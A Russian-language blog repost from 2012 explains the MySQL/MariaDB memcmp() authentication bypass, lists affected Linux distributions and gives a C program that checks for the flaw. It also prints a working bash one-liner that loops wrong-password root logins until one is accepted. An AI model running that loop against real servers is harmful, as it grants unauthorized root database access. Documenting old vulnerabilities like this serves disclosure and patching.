Реклама
Рекламки



Последние комментарии
#1
2023 пишет: » Запостите:

s3r [точка] ru/stavka-tolko-na-linuks-et... (18.03.2023)
// ОСТОРОЖНО: ВИНДОФИЛИЯ!
#2
бронедрочец пишет: » В костылинуксе порядок таков: нужен нормальный кал... (02.03.2023)
// Обзор калькуляторов в GNU/Linux
#3
Линупсодав пишет: » Костылинупс на десктопе не взлетит без прикладнухи... (13.02.2023)
// ОСТОРОЖНО: ВИНДОФИЛИЯ!
#4
admin пишет: » БоЗяН, ожидаемо. (30.01.2023)
// ReactOS 0.4.1
#5
БоЗяН пишет: » Хех. Чёт делать было нечего - дело было вечером)))... (29.01.2023)
// ReactOS 0.4.1
Цитаты
В Linux нет вирусов — вирусу сначала нужно пройти sudo.



Смешная уязвимость в MySQL под Ubuntu 64-bit | автор: Luca | 11 июня 2012

Категория: Open Source

Суть в том, что при подключении пользователя MariaDB/MySQL вычисляется токен (SHA поверх пароля плюс хэш), который сравнивается с ожидаемым значением. При этом функция memcmp() должна возвращать значение в диапазоне -128..127, но на некоторых платформах (похоже, в glibc в linux с оптимизацией под SSE) возвращаемое значение может выпадать из диапазона.

В итоге, в 1 случае из 256 процедура сравнения хэша с ожидаемым значением всегда возвращает значение true, независимо от хэша. Другими словами, система уязвима перед случайным паролем с вероятностью 1/256.









В итоге, простая команда на bash даёт злоумышленнику рутовый доступ к уязвимому серверу MySQL, даже если он не знает пароль.
$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
mysql>

На данный момент дырка подтверждена в следующих конфигурациях:

Ubuntu linux 64-bit (10.04, 10.10, 11.04, 11.10, 12.04)
Debian linux 64-bit (пока непонятно, в каких конкретно версиях)
Arch linux (то же самое)

Официальные билды MySQL и MariaDB (включая Windows)
Red Hat Enterprise linux, CentOS, Fedora Core (32-bit и 64-bit)
Ubuntu linux 32-bit (10.04, 11.10, 12.04, вероятно все)
Debian linux 6.0.3 64-bit (Version 14.14 Distrib 5.5.18)
Debian linux lenny 32-bit 5.0.51a-24+lenny5
Debian linux lenny 64-bit 5.0.51a-24+lenny5
Debian linux lenny 64-bit 5.1.51-1-log
Debian linux squeeze 64-bit 5.1.49-3-log
Debian linux squeeze 32-bit 5.1.61-0+squeeze1
Debian linux squeeze 64-bit 5.1.61-0+squeeze1

программа проверки на уязвимость:
#include <stdio.h>
#include <stdlib.h>

int main(void) {
int one, two, ret;
time_t start = time(0);
time_t now;

srand(getpid()*start);
while (1) {
one = rand();
two = rand();
ret = memcmp(&one, &two, sizeof(int));
if (ret < -128 || ret > 127)
break;
time(&now);
if (now - start > 10) {
printf("Not triggered in 10 seconds, *probably* not vulnerable..\n");
return 1;
}
}
printf("Vulnerable! memcmp returned: %d\n", ret);
return 0;
}

источник



      ВНИМАНИЕ !
Возможно что-то уже неактуально. Обращайте внимание на даты !
Эта статья опубликована 11 июня 2012-го !



Голосов: 858


Прочитано 13413 раз